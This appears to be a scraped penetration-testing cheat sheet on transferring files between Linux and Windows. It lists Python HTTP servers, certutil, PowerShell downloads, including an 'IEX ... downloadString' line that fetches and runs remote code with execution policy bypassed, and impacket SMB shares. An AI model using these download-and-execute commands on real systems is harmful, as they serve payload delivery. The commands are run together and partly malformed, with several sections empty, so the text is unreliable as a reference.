File Transfer
How to transfer files with Linux and Windows
From Linux to Windows
Establish a web server with Python in the path where the desired file is:
python3 -m http.server 8000python2.7 -m SimpleHTTPServer 8000certutil.exe
certutil.exe -f -urlcache -split http://10.10.10.10:8000/file fileUsing PowerShell
powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\filepowershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')Invoke-WebRequest http://10.10.10.10:8000/file -o file Using a shared folder
Serve the file:
smbserver.py mysharedfolder $(pwd)smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321Upload the file:
From Linux to Linux
netcat (I)
Origin machine:
Destination machine:
netcat (II)
Origin machine:
Destination machine:
netcat (III)
Destination machine:
Origin machine:
Windows to Linux
Using a shared folder
Serve the file:
Copy the file:
Validate integrity file
Last updated